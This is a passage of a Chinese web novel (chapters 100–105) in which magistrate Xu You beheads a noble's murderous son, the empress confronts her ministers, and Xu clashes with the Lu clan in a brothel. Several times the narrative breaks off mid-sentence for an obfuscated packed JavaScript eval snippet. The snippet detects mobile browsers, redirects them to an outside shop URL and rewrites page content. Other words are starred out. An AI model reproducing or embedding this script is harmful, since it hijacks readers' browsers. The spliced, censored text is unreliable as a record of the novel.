卢星闻言,身体猛地一颤,那枯黄的眼眶,再次恢复色彩。 他木讷的抬起头,眼神变得恐惧。 “我……我招!” 轰隆! 堂外的百姓也陷入死寂,堂堂卢家三公子,真的开口认罪了! 真相很快大白,卢星醉酒本打算去寻欢,那知道玉兰居然有了身孕,而且和丁毅约定等丁毅高中,就自己赎身。 作为卢家三公子,卢星感觉自己被绿了,当着三人面,将玉兰给活活**致死,又把丁毅封住口鼻丢入湖中。 为了掩人耳目,他收买了花船的老鸨和龟公,所有客人忌惮他的权势,无人敢指认,全都串通证词,说丁毅是被女鬼拽下的花船。 陆邬不忿此事,打算借山麓书院开考,面见天子的机会,来告御状,可惜计划被识破,中了毒后,又被扳指塞进吼间,硬是被噎死。 而吕程死的最惨,是在书院中,被大火灼烧,成了干尸。担心事情败露的卢星,买通书院祭酒和门房小厮,将此事彻底盖住。 “大人饶命!都是小人糊涂,求你饶了我一次!” “我愿意给他们钱,求你饶了我,看在我卢家的面子,绕我一次!” 卢星狼狈跪在地上,不停的求饶哭嚎。 这番话,不亚于是惊雷,狠狠劈在曹爽的身上。 曹爽踉跄一步,身体依靠住石柱,半天没回过神,若不是石柱,怕是早就瘫软在地上。 完了! 天塌了! “然后呢?为什么大理寺和刑部,都定为女鬼索命?” 许攸声音冰冷,此案最为关键的,不是凶手是谁,而是如何做到串联三部,将大理寺和刑部,以及京兆府都给串到一起。 卢星颤颤巍巍看了眼自己的爹,又看了眼早已被吓傻的曹爽,声音细弱。 “是……是我二叔,他说出了人命,我们卢家名声就毁了。” “他连夜找了曹大人,又利用人脉,去打通大理寺和刑部的关系。” 第一百章 悬赏许攸狗命 百姓们不敢说话,心中的愤怒却压抑到了极点。 官官相护,从兰阳县县令,到京兆府主簿,再到大理寺和刑部。 五条人命,就这么消失了,结果却换来个女鬼索命! “狗官!你不得好死!” “大老爷,杀了这狗官!” **冲天,连天上云彩,都不敢掠其锋芒。 许攸斜瞥一眼,只见到曹爽身形颤抖,官帽耷拉在肩头,脸色惨白如纸,汗水将官袍打湿。 案子到此已经水落石出,但不是他想要的! 他要的可是让所有人愤怒,最好能惊动女帝,从而降职! “陆老汉,你儿子已经**,本老爷也按照承诺,为你儿找回清白。” “念在你无后,且还有一孙儿,本官判卢氏赔偿你纹银五百,外加一座宅子,你意下如何?” 陆老汉缓缓抬起头,那张枯黄的脸上,写满了复杂的情绪。 逝者已矣,哪怕是找回了清白,也无法改变他家中无依无靠的事实,活着的人还得活着,他必须为自己一家老小考虑。 “许大人,小民谢过许大人!” “不用谢,这是本老爷答应你的,另外本老爷私人补偿你五百两!” 许攸淡漠的说了句,将目光落到吕氏身上。 吕氏还有个儿媳,目前就在县衙内。 “吕氏,你家家境比较惨,本老爷判卢氏赔你八百两,房屋一座,良田三亩,外加一头耕牛,你可满意?” 吕氏早已哭成了泪人,听到如此判罚,也跪地道谢。 “谢谢大老爷,老妇只求儿媳平安。” “无妨,这狗东西若是伤你儿媳,本老爷定会斩了他!” 许攸轻蔑的看向曹爽,又将目光落到了卢远志身上。 “卢氏你们有意见吗?” 赔偿只是一方面,接下来才是重头戏。 卢氏内无人做声,许攸也不生气,再次冲着众人道。 “卢氏卢星,故意伤人致人死亡,总计五人,且有一尚未出生,按照大唐律法判处!” “来人,验明正身,立刻执行!” “许攸,尔敢!” 卢远志大怒,手指向许攸,因为愤怒,他的手指在不停颤抖。 可许攸看都没看一眼,挥手示意周龙和赵虎将狗头铡搬上来。 巨大狗头铡出现,公堂上飘散出一阵骚味。 许攸捏住鼻子,没好气的催促。 “搞快点,别墨迹!” “等下我还得回去吃饭,本老爷都饿了!” “喏!” 狗头铡巨大铡刀被升起,在众人复杂目光中,卢星被推了过去。 “爹,救我!我不想死!” “救我……” 声音回荡在公堂上,刚才还嚣张跋扈的卢家三公子,自从认罪到伏诛,也不过是一炷香时间。 许攸看到地上的脑袋,一脚踢了过去,将其踢到卢远志身边。 “卢氏,将你们的三公子带回去,三日后本老爷要去你们府邸做客,记得备好茶水!” 说罢,他扭头看向曹爽。 “曹大人!” 曹爽身形一颤,脸上一点血色都没,身形哆嗦着,似乎随时都能栽倒下去。 “你身为兰阳县县令,本应该为民做主,却勾结世家豪族,故意遮掩罪证,掩盖事实,此罪不可饶恕!” “本官会上奏圣听,奏明此事!” “曹大人,你可好自为之!” 曹爽想要辩解,冷汗却如同瀑布,从他额头洒落,瞬间将他衣领给打湿。 他的喉头被卡主,完全说不出一个字,恐惧已经弥漫他全身。 卢家三公子**,接下来死的,就是他曹爽! 面对许攸,他不敢再看。 “许大人,你管好自己的事情!” “本官能坐镇此地,自然是有本官的本事!” “今日之事你已经得罪不该得罪的人,希望明日你还能见到太阳!” 威胁? 许攸根本不怕威胁,他等得就是这个。 “本老爷不愁看不到太阳,就怕你看不到明日的太阳。” “有用的人,那才叫人,没用的则是叫弃子!” 许攸挥挥手,示意赵虎和周龙将吕氏等人扶起。 “案件已经明了,诸位也各自回家,早点吃饭,若是有任何冤屈,可来长安城京兆府寻本老爷。” “无论他是皇亲国戚,还是世家贵族,只要犯了事,本老爷绝不饶恕!” 许攸背着手,在百姓欢呼声中,朝着公堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954585|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外而去。 看着他逐渐消失的背影,卢氏众人全都瘫坐到地上。 “许攸小儿,你杀我儿,我要杀了你!” 卢远志更是仰头咆哮,抱着卢星尸体,在原地哀嚎。 此事许攸做的太绝,没有半点回旋机会,也彻底触怒卢氏这尊神灵。 …… 御书房,秦曦优哉游哉走进书房,刚走进书房,她的脸色就彻底拉拢。 “舅舅,为何今日这么多奏疏?” 在书案的另外一侧,有一张小桌案,李牧正在桌案后,挑灯查看奏疏。 见秦曦过来,李牧眉头紧蹙,露出了无奈的表情。 “陛下,许攸在长安城,做了一件事。” “嗯?” 秦曦内心生出不妙的感觉,她要是没记错,今天是许攸第一天上任。 朝堂三日开一次早朝,她难得清闲一日,没想到这清闲日子刚过去大半,就被掐断。 “何事?” 李牧没隐瞒,将许攸被刁难,到抬着棺材去兰阳县,又到在公堂上斩了卢家三公子,所有事情全部道出。 听完事情的经过,秦曦傻愣在原地,一双凤眸瞪圆,杏口微微张开。 “舅舅,你的意思是?” “他……他杀了卢氏三公子,杀了那个纨绔?” 李牧点点头,若是只有这些,那还作罢,偏偏许攸将卢氏给彻底激怒。 “卢氏放出豪言,二十万两买许攸的命!” “御史大夫及十几位官员,**,要求陛下革除许攸官职,将其捉拿!” 说到这里,他的目光斜瞥,指向桌上上的奏疏。 “那些奏疏都是加急送入宫中,全都是参许攸的。” 听到这里,秦曦这才反应过来,粉拳猛地砸向桌面。 “胡闹!” “这简直是胡闹!” 招惹卢氏就算了,还招惹那么多官员,许攸是真的在作死! 然而她刚骂完,又觉得不对劲,要是许攸做的过分,自己这位舅舅,怎么会如此淡然? “舅舅,你的意思是?” “陛下,敢问大唐有人比许攸有钱吗?” 李牧举起一份奏疏,面无表情念道。 “青尧县今岁税赋,白银七百九十万两!” 第一百零一章 女帝要招夫 “舅舅你是否说错了?” “七百九十万文吧?” 秦曦想求个答案,七百九十万文,也是不小的数目,足足七十九万两,是大唐税赋的五分之一左右。 一个小小县,贡献整个大唐五分之一税收,这事说出去,都没人相信。 奈何李牧不解风情,依旧面无表情,将手里奏疏举起。 “此奏疏是康王加急送来,加上荆州其他县税赋,今年荆州总税赋一千万两整!” 扑通! 秦曦没坚持住,一屁股跌坐在椅子上。 “一千万?一千万两白银!” “朕真的不是在做梦?” 大唐自建国到现在,税赋从开始每年几十万两到如今每年四五百万两,已经是发展极快。 但对比荆州,对比青尧县而言,就是小巫见大巫。 秦曦脸上表情无比精彩,从震惊到恐惧,再从恐惧到欣喜,最后转变为失落。 她身为大唐天子,这个帝国的皇帝,做的反而没许攸一个小小县令好。 如此关键节点,荆州突然送来税报和税银,多少有点耐人寻味。 从失落中回过神,秦曦嘴角泛起苦涩。 “这许攸好大的狗胆!” “他就这么想死,想让天下世家都和他为敌?” 能从尸山血海中爬出,一步步爬到这高位上,秦曦不是那种无能的人。 她低头仔细思忖,不过是眨眼功夫,便想到许攸这么做的目的。 狂,太狂了! 和天下世家门阀为敌,这个想法连她都不敢生出,偏偏许攸敢有! “此子虽狂,但从不做无准备的事情!” “陛下,臣年事已高,不如放臣回去,将这中书令空置,以留作有用之人,如何?” 李牧再次谏言,上一次他想把许攸弄到六部,弄到朝堂的职权部门,这一次他不打算这么做。 这天下已经是他看不懂样子,许攸不过是个后生,都敢如此狂妄,他这把老骨头,为何不敢也疯狂一次! 秦曦摇摇头,目光看向窗外,一双眸子洞彻星河。 “舅舅,你是我大唐的镇国支柱,若是没有你,群臣不会服朕。” “许攸想闹大,那朕就帮他一把。” 刚刚还满脸淡定的李牧,听到这话后,脸色唰的变成惨白。 许攸要做什么,李牧心里很清楚。 和世家门阀作对,让事情再次闹大,闹到最后天子不得不下令,将他处死,以平息世家怒火。 可要是天子和许攸穿一条裤子,那倒霉的就是大唐! “陛下,万万不可!” 李牧屏住呼吸,额头发丝间,一滴滴冷汗滚落。 他现在很后悔,后悔让秦曦把许攸带出青尧县,若是还在青尧县,那这一切都不会发生。 “世家门阀把持天下,朝廷除了盐铁之外,其他全部被世家把持,连粮食都被他们掌控!” “若是激怒,世家联合攻之,大唐将有倾覆之危,还请陛下三思。” 秦曦早就考虑到这点,眼底的迷茫和失落消散不见,转而是如鹰般的锐利锋芒。 她愤怒的是许攸,居然不通知她。 除此之外,她比任何人,更想弄死世家。 “舅舅,天下苦世家久已!” “你难道忘记,朕当初登基时候,是谁给太子兵马,是谁放回纥入我大唐?” “庐阳孙氏,陈州李氏,丹阳王氏……” 大唐世家林立,大大小小世家上百,最强的为九大世家,这些世家利益交错,相互往来密切。 在他们的眼底,大唐不过是他们的傀儡,保持超然地位的工具。 秦曦的眼底闪烁其帝王独有的凶厉和权谋,她要这天下,重归她手心! “许攸,他是个人才!” “朕想要招他为……夫。” 咔嚓。 李牧手里笔杆折断,一双昏黄老眼中,印出惊愕。 “陛下,你可决定好了?” 秦曦没说话,俏脸上已经被冰霜覆盖,那双锐利的眸子中,杀意弥漫。 她起身来到桌案边,将奏疏一一查看,上面内容大致相同,全部都是骂许攸欺君罔上,**忠良,勾结贱民,蓄意谋反等罪名。 看着奏疏上的字眼,秦曦嘴角勾起一抹好看弧度。 “传朕旨意!” “召三省六部侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954586|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中尚书,及大理寺寺卿、御史台御史大夫入宫!” 旨意落下,传令太监夹着腿,快速跑去传话。 此刻天色已经黑透,没有圣旨,任何人不得进出皇宫。 小太监手捧圣旨,一路畅通无阻,不到半个时辰功夫,御书房内便出现十多道身影。 为首的是李昌,在往后则是中书省和尚书省,以及六部官员,队伍末了才是御史台御史。 卢象站在队伍尾部,暗中看了眼刑部尚书王亮,暗暗打了个眼色,又快手低下头。 在场都是大唐的核心官员,最次也是四品级别。 众人神色肃穆,躬身站在原地,行礼之后没有一个人先开口,只是互相暗暗打眼色。 今日发生的事情,大部分并不知晓,只有卢星和王亮等人清楚。 众人的神态,被秦曦全都看在眼底,她并未直接问罪,而是瞪大眼,目光在大理寺寺卿孙德以及刑部尚书王亮身上徘徊。 过了差不多盏茶时候,御书房内终于响起了生意。 “诸位爱卿,可知道朕深夜急招各位入宫,是为了什么事情?” “李爱卿,你乃门下省侍中,可知道朕所为何事?” 李昌一脸懵,他是恭王的人,本来就和天子不对付。 今日不用上早朝,李昌和自己第三十二房小妾,在家里讨论人生,都没空出家门。 来的路上,他本打算打听,可那公公速度太快,根本没给他机会开口,现在他根本不知道到底发生了什么。 暗中瞥了眼其他人,有一半人满脸茫然,其中尚书省的侍中任长青也是一样茫然。 “回陛下,臣不敢揣测圣意,不知陛下深夜招我等到此,是为了何事。” “陛下勤政爱民,但身体重要,还请陛下多注意身体。” 李昌是个老狐狸,一番话说的滴水不漏,还把马屁拍足。 秦曦对此似乎早就知道,挥挥手并不在意,而是将目光放到了刑部尚书王亮身上。 “王爱卿,你和朕解释解释,什么是女鬼索命,为何京兆府府尹抬棺断案!” “那京兆府府尹,又为何怒斩卢氏三子?” 第一百零二章 三堂会审 御书房内一片死寂。 秦曦说完后,目光流转,将视线落到大理寺寺卿李德身上。 “李德,你身为大理寺寺卿,负责掌管天下刑罚,为天下百姓伸冤诉苦,还世道郎朗乾坤。” “为何会在这京兆府,出现官官相护,官绅豪门勾结,草菅人命,伪造卷宗的命案!” 说到此处,秦曦声音陡然转冷。 “你告诉朕,你这个大理寺是作何用,你们是眼瞎,还是耳聋,居然会相信个县令所言!” 此话已经不是在质问,而是在发泄愤怒。 天子脚下,竟然发生官官相护,官绅豪门勾结,伪造卷宗,牵连数条人命的大案。 李德双腿打颤,额头瞬间被细密汗珠覆盖。 “王亮你乃刑部尚书,为何不核查清楚,居然让一桩命案,就此草草结案!” “好一个女鬼索命,朕到要问问你们,是不是要让那女鬼,来朕的寝宫,来索朕的命!” 轰隆! 秦曦玉手重重拍在桌上,桌案上笔墨纸砚跳动。 王亮和李德大惊,两人齐刷刷跪倒地上。 “陛下息怒!” “臣等失察之罪,还请陛下责罚!” 两人将脑袋紧贴地面,身形因为恐惧,在不断颤抖。 原本这件事,绝对不会引起如此大的风波,大唐每年冤假错案那么多,要是一件件查,刑部和大理寺,怕是要累死。 诸如此类“女鬼索命”,“冤魂复仇”的卷宗,在大理寺内并不少见。 但经过许攸这么闹腾,这俨然成了一把利剑,刺在百官的心头。 作为直接负责人,大理寺有监管天下的职责,却一点作用没有。刑部的核查,也成了笑话! 秦曦冷冷笑出声,抬手将桌上奏疏丢下。 “失察?” “你等失察不要紧,可那五条人命,就这样枉死!” “你们要天下百姓,如何看待朕,如何看待朝堂?在他们眼底,官就是恶人,朕是最大的恶人!” “大唐有多少州府,州下有多少县,若是每个都如此,律法存在的意义是什么!” “回答朕,你们是这么为朕分忧,帮百姓伸冤,为律法证明的吗?” 王亮和李德早就被吓傻,两人没想到,天子知道的这么快,冷汗将官袍打湿,整个人跪爬在地上,一动不敢动。 “陛下,臣该死!” “臣等罪该万死,请陛下责罚!” 秦曦坐回自己的位置,身上气势狰狞冰冷,整个人就犹如一把出鞘利剑。 她并不打算这么解决,如今朝堂威望在民间跌落到极点,必须有个挽救的错失。 “朕不需要你们认罪,如今此事已经闹的满城风雨,你们认为此事应该如何解决?” 王亮暗暗擦了下额头汗水,又把目光落到身边李德身上。 两人对视一眼,都长舒了一口气。 只要天子现在不动怒,那么他们活下去的可能,就无尽大。 王亮作为刑部的尚书,有渎职的罪名。 “陛下,臣认为应当尽快重审,将此案具体情况公之于众,以平息民怨,消除百姓心中忌惮和恐惧。” 说完这句话,他小心翼翼抬头,看了眼秦曦。 可惜秦曦并没说话,依旧是面无表情的模样。 “陛下可降旨,三堂会审,将此案发回,再由京兆府出手,严禁百姓议论,继续扩大此事影响。” 李德闻言,也跟着附和。 “陛下,王尚书所言极是。” “此案可发回重审,由原兰阳县县令重新审理,大理寺和刑部派人协查,相关人等从重处置。” “再将处置结果,昭告天下,以明正典刑,此可堵住悠悠之口,平息民怨!” 两人说的方法,全都是要发回重审,将案件重新审理。 要是平时的情况,这番言论没什么问题,可现在却有个很大问题,那就是此案中的凶手,已经被当场砍了脑袋。 **在发酵,想要堵住百姓的嘴,那只能给将案件彻查,把所有牵连的人,给绳之以法。 秦曦嘴角上扬,脸上浮现出嘲弄的色彩。 “朕看你们这尚书和寺卿,也不用当了!” “堵住百姓悠悠之口,还要发回兰阳县,让那县令重审?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954587|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“蠢!” 王亮和李德大惊,再次跪伏在地上。 “给朕站起来!抬头看着朕!” 秦曦冷哼一声,强令两人抬头。 “现在京兆府内外,都已经知道这件事,不但兰阳县被牵连,连云麓书院,都被牵连!” “你告诉朕,怎么堵住百姓的嘴,难道要用刀架在他们的脖子上,谁敢说,那就斩了他们?” “还是说,朕要下令,谁敢议论,灭其九族?” 完了! 王亮和李德双腿颤栗的愈发厉害,脸色也变得苍白。 两人心里巴不得秦曦会如此,可现在他们知道,秦曦不但不会降旨,还会彻查这件事。 秦曦缓缓起身,目光自众多大臣身上扫过。 “此案是京兆府的府尹督查,若是没有许攸,朕也不知道此事!” “传朕的旨意,着令京兆府府尹许攸,彻查此案,相关涉案人等,无论何身份,他可先斩后奏!” “另让他将案情公之于众,朕要天下都知道,朕没有徇私,大唐律法不容亵渎!” “天子犯法,和庶民同罪!” “尔等,可知否?” 这话掷地有声,让李昌等人都愣住。 李昌眨巴下眼睛,立刻意识到秦曦这是打算借题发挥,将事情影响力给扩大。 人群后的卢象,脸色苍白。 如果天子彻查此事,他必然自身难保,甚至会牵连更多的人。 此事不能继续查,京兆府府尹也必死! “陛下,请三思!” 人群中突然传出一道苍老的声音。 卢象眯起眼,向着声音来源看去,只见到李牧正躬身站在角落。 李牧神色凝重,躬身一拜后,这才开口。 “陛下,此事牵扯到丹阳卢氏!” “今日陛下若是将此事闹大,让卢氏颜面扫地,恐怕会引起其他世家豪族非议,甚至……” 李牧幽幽瞥了眼卢象,又将视线从王亮和李德等人身上划过。 “甚至会引起他们的联手反抗!” “为了几个贱民,不值得!” 御书房内的气氛,再次变得微妙。 第一百零三章 到手功德飞了 秦曦俏脸上,全是冰冷寒霜。 若不是说话的人是李牧,她定然会发怒,开口斩了这说话之人。 “**!” 她的声音很平淡,淡到让人害怕。 “你的意思是,朕要向他们低头,朕要跪地臣服,向他们求饶?” 李牧躬身,脑袋低垂,让人看不到他的表情。 “陛下,臣不敢!” 秦曦深吸了一口气,她知道李牧意思,既然要和世家为敌,要么用强硬手段按死世家,要么就做好求饶准备。 “朕乃是大唐的天子,区区世家,居然要坐到朕的堂前,不但和朕平起平坐,还要让朕俯首!” “在他们的眼中,朕这个天子,不如一个贱民!” “不但如此,世家贵族妄图和朕联姻!朕乃大唐皇帝,他们把朕当做什么?” “朕是他们随意可摆弄的货物不成?” 秦曦胸膛起伏,想起往日的遭遇,他越说越气。 整个大唐以世家为尊,世家掌控了天下钱粮,掌控了天下读书人,她秦曦如何行事,都要看世家的意思。 甚至还有世家想要纳她为妾! 她堂堂天子,大唐的皇帝,哪怕嫁人,也是正妻,那些世家豪门,根本不入她的眼。 “**,在百姓眼中,朕才是大唐主宰,而不是世家豪门!” “你可否告诉朕,世家该不该除?” 阴恻恻的话语,直戳众人心灵。 李牧暗暗叹息一声,他能说的,能做的,已经做到最好,他不是豪门,李氏也是因为他,才逐渐成为一支新贵族。 但对比那些世家豪门,他们的底蕴太差,甚至不能称之为豪门。 秦曦如何想,他很清楚。 天下苦世家久已! 世家不除,天下不宁! “陛下,臣认为此番言论太过!” “世族把持天下文人,陛下虽有云麓书院,但不足以和天下为敌!” “今日陛下拿卢氏开刀,届时他们联合,官员挂印而去,朝廷令不达九州,地方政务瘫痪,必然会引起民愤。” “望陛下三思,万万不可冲动行事。” 李牧的话,再次将众人心弦扣动。 王亮和李德暗暗擦了下头汗珠,两人都屏住了呼吸,生怕自己呼吸惊动了秦曦。 他们都很清楚,李牧不是在说笑,一旦今天天子对卢氏动手,和卢氏有关系的,必然会出动。 世家可不止一家,而是上百个豪门贵族,无论是哪一家出事,他们都会联合。 到了那时候,大唐将彻底倾覆,再也没重建的可能。 秦曦凤眸缓缓合上,身体也栽倒下去。 书房内的烛火,在她脸上跃动,照亮了她那张精致的俏脸。 此刻的她深感无奈。 天下的局势,她很清楚,但又无能为力。 这些年,她用了不少手段,加上李牧的变法和变革,让大唐比前朝改变许多,可世家依旧是一股不容小觑的力量。 从朝堂三省六部,到地方的县令,十有**都和世家有关。 除掉个卢家简单,但之后的问题,可不是那么简单! “难道朕要和他们低头?” 秦曦幽幽叹了口气,她不想咽下这口气,可没任何的办法。 忽然,秦曦的心头,闪过了一道人影。 “不对,朕还有那狗贼!” 七百九十万两税赋! 许攸既然能创造一次奇迹,那就能创造第二次奇迹! 荆州内世家豪族也不少,可她却没见到过。 许攸以雷霆手段**,世家豪族在他眼底,就是血囊,供给他吸血所用。 念此,秦曦眼前陡然一亮,她处理不了,但是有人能处理! 看着她突然绽放的笑脸,李昌等人都懵逼的瞪大眼。 “**说的不错,是朕考虑不周。” “世家豪门枝叶繁茂,盘根错节,牵一发而动全身,确实不能如此。” 李牧深吸一口气,他不是不想除掉卢氏,而是不能这么着急。 只要天子不着急,他们有的是时间和机会,慢慢将世家给拔除。 “陛下圣明!” 秦曦脸上浮现出笑容,那张俏脸上的表情很灿烂。 “此事是朕考虑不周,但此案必须详查!” “朕不打算改变先前的旨意,不如再加一道,让刑部和大理寺协查,一切都由京兆府府尹做主,任何人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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从梦中起身,许攸脸色黝黑,看着手里的名册,他的左手缓缓拂过。 “卢氏,本老爷向天起誓,不除你满门,我许攸绝不回去!” 第一百零四章 许大人逛青楼 许攸现在火气很大,拒绝了胭脂的邀请,起身往府邸外走去。 长安城内有四条主路,四通八达,比起青尧县的规划要更加简洁便利。 来长安城的第一件事,许攸是打算长见识的。 周龙赵虎四兄弟跟在他身边,五人大摇大摆朝着西市走。 穿过朱雀大街,再往西走了一段路,眼前楼阁金碧辉煌,朱红大门,金色墙壁,飞檐上灯笼高悬,明明是黑夜,却被照的透亮。 火红门楣上,四个鎏金大字,印入许攸的眼帘。 “醉月花坊”。 不等许攸上前,一道纤细身影,扭动腰肢,朝着他快步走来。 “小郎君,看着面生的很,快进来暖暖身体。” 来人不过二十左右,左手持扇,右手搂住许攸胳膊,娇软身躯紧紧贴住他,那身上的丝绸,根本遮不住雪白弧线。 出来玩,许攸没穿官袍,古铜色皮肤下,也看不出什么表情,只是一张笑脸而已。 老鸨却很毒辣,从许攸笔直腰板,以及他精明眼神,立刻推断出身份。 当官的! 当官的来青楼勾栏,不是什么秘密,老鸨也不怕,醉月花坊就是朝中户部尚书所开,靠山可不是一般大。 “有姑娘吗?” 许攸露出好奇目光,在青尧县他不敢去逛青楼,自从建好,他就心痒的不行。 但青尧县内,他不敢去,但凡他去青楼,姑娘们能发疯冲过来,把他给淹死。 略带些许激动,还有一点尴尬,许攸将对卢氏的恨,扭转成为好奇。 “本老爷有的是钱,你懂得!” 老鸨脸上的皮肤,都皱在了一起,热情的双手抱住许攸胳膊,在怀里不停摇晃。 “郎君,您这话说的,咱们这里姑娘,绝对让您满意!” “我们醉月花坊的姑娘,那可是长安城一等一,不仅有梅兰竹菊四金钗,还有如烟、如雪几位名震天下的花魁,每一个都能让郎君满意。” “就是怕郎君……” 老鸨嘤嘤用扇面遮住小嘴,眼睛都彻底眯成了一条线。 许攸秒懂,和前世一样,去高端的场所,必然要展现实力。 他也不废话,给身后周龙打了个眼神。 “我家老爷有的是钱,懂?” 哗啦啦! 四张银票在老鸨面前闪过,每一张都是五千了的兑票! 老鸨眼睛都直了,视线盯着银票,杏口逐渐张大。 她以为许攸是说笑,哪知道眼前这其貌不扬的青年,居然是豪门公子! “郎君您稍等,我这就去照顾姑娘们。” 老鸨巧笑着将许攸给拉进醉月花坊,没在一楼大厅停留,而是直奔二楼。 进入雅间内后,老鸨笑眯眯的凑到许攸怀里,香风不断吹动。 “郎君,今日您是有缘,咱们醉月花坊最漂亮的姑娘,今日要出阁。” “哦?” 有前世记忆的许攸,脸上不由浮现出错愕和惊讶。 姑娘出阁,一般都会有恩客花费重金,如果运气好,还能赎身,自此离开青楼花坊。 如果运气不好,就从之前卖艺不卖身,改为卖艺又卖身。 能出阁的姑娘,无论是容貌身材,还是才学和名气,都有一定知名度。 “不知道今日是哪位姑娘出阁?” 见许攸有兴趣,老鸨脸上笑意更浓。 “是我们花坊中的洛水姑娘,不过她可是有要求,只有得到她首肯,才能成为这入幕之宾。” 许攸愣了几秒,有点意思! 他现在很怀疑,这老鸨是故意在钓鱼。 “怎么?你们楼里的姑娘,难道还能不听你这个嬷嬷的话?” “是比琴棋书画,还是斗诗比墨?” “本老爷可没这兴趣,直接开价吧!” 老鸨脸上笑容瞬间僵住。 来醉月花坊有三种人,好舞文弄墨的文人,这类人不管是真有学问,还是假有学问,都是假斯文。 另外两种,一种是来谈风月,单纯为了爽,而最后这种达官贵族,都会好面子。 在老鸨看来,许攸不穿官服,一口一句“本老爷”,定然是官,还是官职不小的官。 官老爷来青楼,那肯定好面子,舞文弄墨拽几句,再斗两句诗,到时候水到渠成,钱可不会少一份。 可眼前这位,居然如此粗鄙! 愣了片刻,老鸨强挤出个尴尬笑容。 “郎君,洛水姑娘乃长安城第一才女,若是郎君能……” 她话还没说完,许攸直接伸手打断。 “天子也是女人,若是这青楼中的姑娘乃是长安城第一才女,天子那是什么人?” “本老爷没兴趣搞这些,我是来寻欢,直接报价。” 许攸嘴角勾起,指着楼外那些衣着暴露性感的姑娘。 “除了这洛水姑娘之外,其他的姑娘都叫过来,本老爷不喜欢弯弯绕绕,有的就是钱。” 啪嗒! 一张银票拍到桌上,上面五千的字样,不断刺激老鸨的眼睛。 哪怕是世家豪门贵族子弟,来醉月花坊消费,一夜最多也就千两。 老鸨一时间愣在原地,不知道如何安排。 不过许攸既然这么说,还这么有钱,她也反应过来,把楼里的姑娘都给喊来,总有能让眼前小郎君满意的。 老鸨起身,正打算去喊人,还没到门口,就被人给挡住。 “青嬷嬷,谁这么大的口气,居然要把楼里的姑娘都喊来,还任由他挑选。” “哟,我道是谁,不过是个贱皮子。” “也不知道从哪弄来的衣服,故意装作有钱人,敢在这里嚣张。” 声音不大,充斥这轻佻和傲慢,清晰在所有人耳中。 许攸提着酒杯,脑袋撇过看向门口。 一群衣着华丽的青年,为首是个身着绸缎的公子,面容白皙,双眸以不协调的幅度上挑,眸子中透露出一股阴寒。 此人手里拿着柄折扇,扇骨碧绿,扇面则都是金丝编织,其上有一副山水画。 “卢公子,不要让这种腌臜货冲撞了您,咱们去楼上雅阁。” “青嬷嬷你愣着作何,没见到卢公子等了许久,今日我们过来,就是为了洛水姑娘而来!” 众人言语中,浑然没把许攸放在眼底。 老鸨的脸上表情尴尬,她想着许攸的钱,又不想得罪眼前卢家的公子。 就在她为难,不知道如何是好,余光中见到许攸慢条斯理起身,朝着门口走来。 “你是丹阳卢氏的人?” 第一百零五章 暴打卢氏的狗 许攸很生气,后果很严重。 阎王老爷几年不联系一次,主动派判官来联系他,居然是因为他把卢星弄死,导致多了三百多亡魂,他这五年时间积攒功德,一朝要烟消云散。 五年时间,他吃的苦,任何人都体会不到,为了能够回去,他想方设法,不仅是威逼利诱,连各种阴损办法都用了出来。 结果,就因为卢氏,让他所有计划全部落空。 许攸的手掌不算大,左手缓缓伸出,落在眼前卢云身上。 卢云只觉得肩头,似乎被一块巨石压住,无论他如何抖动或者用力,都无法将这块巨石给弄开。 “你是何人?” 一股不祥的预感,缓缓浮上心头。 卢云眉宇紧皱,一双阴翳眸子,对上许攸的双眼。 许攸眼底没有愤怒,也没杀意,一双眼如同死水般平静。 在许攸的眼底,眼前不是个人,而是一块烂肉,随时可以撕烂的烂肉。 “你!” 卢云刚要呵斥,就感觉一股钻心蚀骨的剧痛,从肩头猛地扩散,瞬间席卷全身,再涌入他的大脑。 “啊!!” 凄厉的叫声,在楼道内回荡,一滴滴冷汗,瞬间密布他额头,太阳穴两侧青筋,也全部暴起。 此刻卢云感觉自己要死了,肩胛骨似乎要被一点点捏碎。 许攸不喜欢杀人,杀人有损功德,他杀的都是恶人。 但如今他却对卢氏有了杀心,卢氏无论老小,他都不打算放过! “狗东西,你找死!” “快把卢公子放开,你这贱皮子,快放开卢公子!” 其他人也被眼睛景象吓懵。 在他们看来,许攸不过是个腌臜货,是个彻头彻尾的贱皮子,最下等的贱民。 几人围绕在许攸身边,一个个神色狰狞,恨不得要把他抽筋扒皮。 “啊!!” 